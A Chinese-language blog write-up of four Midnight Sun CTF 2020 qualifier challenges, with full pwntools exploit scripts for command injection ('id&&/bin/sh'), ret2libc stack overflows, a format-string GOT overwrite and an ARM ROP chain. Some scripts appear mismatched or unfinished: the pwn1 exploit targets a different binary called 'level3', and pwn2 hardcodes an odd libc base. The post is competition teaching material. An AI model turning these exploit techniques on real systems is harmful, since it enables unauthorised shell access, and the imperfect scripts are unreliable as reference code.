Midnight Sun CTF 2020 Quals Writeup

原创

SkYe231_ 于 2020-04-06 13:45:24 发布 322 收藏

文章标签： 安全 栈 CTF ctf writeup MidnightSunCTF

前言

第一次做国外 CTF 与国内有差异的，我感觉最明显的是题目会多个方向混合出题，比如说 web 与 pwn 结合出题。从部分题目和结合前几天看的 king of hill 直播，感觉国外 CTF 对 linux 知识也要有一定要求，不能仅仅只会做题的亚子。

admpanel

考点：代码能力、linux基操

程序为一个面板，自然有登录功能，帐号密码通过 IDA 看代码得出。登录成功后可以执行命令，但是程序给出提示只能执行 id 。但是使用的判断函数是 strncmp ，只要是子串都可以通过，换句话就是只有含有 id 都能执行。

完整 exp ：

```
from pwn import *

context.log_level = 'debug'

p = remote("admpanel-01.play.midnightsunctf.se",31337)
#p = process("./admpanel")

p.recvuntil("[3] - Exit")
p.sendline("1")
p.recvuntil("username:")
p.sendline("adminskye")
p.recvuntil("password:")
p.sendline("passwordskye")
p.recvuntil(">")
p.sendline("cat flag")
p.recvuntil("[3] - Exit")
p.sendline("2")
p.recvuntil("execute")
p.sendline("id&&/bin/sh")
p.interactive()
```

pwn 1

考点：栈溢出、ret2libc

程序无预留后门，给了 libc 文件，因此需要 ret2libc 。栈溢出漏洞函数如下：

```
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char v4; // [rsp+0h] [rbp-40h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  alarm(0x3Cu);
  printf_pic();
  printf("buffer: ", 0LL);
  gets(&v4); //栈溢出
  return 0LL;
}
```

第一次需要泄露 libc_base 地址，然后 rop 回到 main 函数。第二次调用 system('/bin/sh') 。

emmm这道题我用官方给的 libc 本地打不通，用本地系统 libc 就打成功了。然后死活连不上远程服务器，就没有拿 flag 。

** 完整 exp ： **

```
from pwn import *

#sh = remote('111.198.29.45',53033)
sh=process('./level3')

context.log_level = 'debug'
elf=ELF('./level3')
libc=ELF('./libc_32.so.6')

#get func address
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']

payload = 'a'*0x8c + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)

sh.sendlineafter("Input:\n",payload)

#Leak write's addr in got
write_got_addr = u32(sh.recv()[:4])
print 'write_got address is',hex(write_got_addr)

#Leak libc's addr
libc_addr = write_got_addr - libc.symbols['write']
print 'libc address is',hex(libc_addr)

#get system's addr
sys_addr = libc_addr + libc.symbols['system']
print 'system address is',hex(sys_addr)

#get bin/sh 's addr    strings -a -t x libc_32.so.6 | grep "/bin/sh"
#libc.search("/bin/sh").next()
bin_sh_addr = libc_addr + 0x15902b
print '/bin/sh address is',hex(bin_sh_addr)
#get second payload
payload0 = 'a'*0x88 + 'a'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

sh.sendline(payload0)
sh.interactive()
```

pwn 2

考点：格式化字符串、覆写 exit_got rop 、格式化字符串泄露函数地址

格式化字符串输入长度限制为 64 ，程序有 cannary 保护，且字符串输入长度不足够覆盖 eip ，因此需要另为的方法完成 rop 。办法就是覆写 exit 函数的 got 表地址为 main 地址。漏洞函数如下：

```
void __cdecl __noreturn main(int a1)
{
  char s[4]; // [esp+0h] [ebp-4Ch]
  char v2; // [esp+4h] [ebp-48h]
  unsigned int v3; // [esp+40h] [ebp-Ch]
  int *v4; // [esp+44h] [ebp-8h]

  v4 = &a1;
  v3 = __readgsdword(0x14u);
  *(_DWORD *)s = 0;
  memset(&v2, 0, 0x3Cu);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  alarm(0x3Cu);
  sub_80485B6();
  printf("input: ");
  fgets(s, 0x40, stdin);
  printf(s); //格式化字符串漏洞
  exit(0);
}
```

到这一步就和 pwn1 基本相识了，一次泄露 libc 基地址，一次完成覆写调用 system('/bin/sh') 。也就是用格式化字符串泄露函数地址，用格式化字符串覆写函数 got 表地址。

完整 exp ：

```python
#encoding:utf-8
from pwn import *

context.log_level = 'info'

#p=remote("pwn2-01.play.midnightsunctf.se",10002)
p = process("./pwn2")
elf = ELF("./pwn2")
libc = ELF("./libc.so.6")

exit_got = 0x0804b020
printf_got = 0x804b00c

# rop
payload = p32(exit_got)
payload += '%34289c%7$hn'

p.recvuntil('input')
p.sendline(payload)

#Leak

p.recvuntil('input')
p.sendline("%30$x".ljust((63-len("%30$x")),'A'))
data = p.recvuntil("A")
printf_leak = int("0x"+data[-9:-1],16)-5

#libc_base = printf_leak - libc.symbols['printf']
libc_base = 0x0804B010 - libc.symbols['printf']
log.info("libc_base: "+hex(libc_base))
system_addr = libc_base + libc.symbols['system']
log.success("system_addr:"+hex(system_addr))

payload = pwnlib.fmtstr.fmtstr_payload(7, {printf_got:system_addr}, numbwritten=0, write_size='byte')

p.recvuntil("input:")
p.sendline(payload)
p.interactive()
```

pwn 3

考点：栈溢出

32 位只打开 NX 保护程序。IDA 打开函数名劝退。耐心分析后，找到 main 函数：

```
int sub_102FC()
{
  int v0; // r0
  int v2; // [sp+0h] [bp+0h]
  int v3; // [sp+4h] [bp+4h]

  v2 = 0;
  sub_1FDB0(&v3, 0, 124);
  sub_155C0(off_6F4BC, 0, 2, 0);
  sub_155C0(off_6F4B8, 0, 2, 0);
  v0 = sub_2120C(60);
  sub_102E4(v0); //读取banner.txt入口函数
  sub_14D00("buffer: "); //printf
  sub_152A4(&v2, 512, off_6F4BC); //read；栈溢出
  return 0;
}
```

还要重点关注的是 sub_102E4 ，判断是通过 system 读取文件：

```
int sub_102E4()
{
  return my_system((int)"cat ./banner.txt");
}
```

因为 IDA 中找不到 system plt 地址，所以就看 sub_102E4 的汇编，找到传参的寄存器和方式：

```
sub_102E4                               ; CODE XREF: sub_102FC+40↓p
.text:000102E4                  PUSH            {R7,LR}
.text:000102E6                  ADD             R7, SP, #0
.text:000102E8                  LDR             R3, =(aCatBannerTxt - 0x102EE)
.text:000102EA                  ADD             R3, PC  ; "cat ./banner.txt"
.text:000102EC                  MOV             R0, R3
.text:000102EE                  BL              my_system
.text:000102F2                  NOP
.text:000102F4                  POP             {R7,PC}
```

找到之后就是用 ROPgadget 找可以用的寄存器传 /bin/sh 给 system 就行。

```
#/bin/sh
ROPgadget --binary pwn3 --string '/bin/sh'
0x00049018 : /bin/sh
#gadget
ROPgadget --binary pwn3 --only 'pop'
```

完整 exp ：

```python
from pwn import *

context.log_level = 'debug'

p = process("./pwn3")
#p = remote('pwn3-01.play.midnightsunctf.se', 10003)

binsh = 0x00049018
system = 0x14b5d
pop_r0 = 0x0001fb5c

payload = cyclic(140)
payload += p32(pop_r0)
payload += p32(binsh)
payload += p32(0xdeadbeef)
payload += p32(system)

p.recvuntil("buffer")
p.sendline(payload)

p.interactive()
```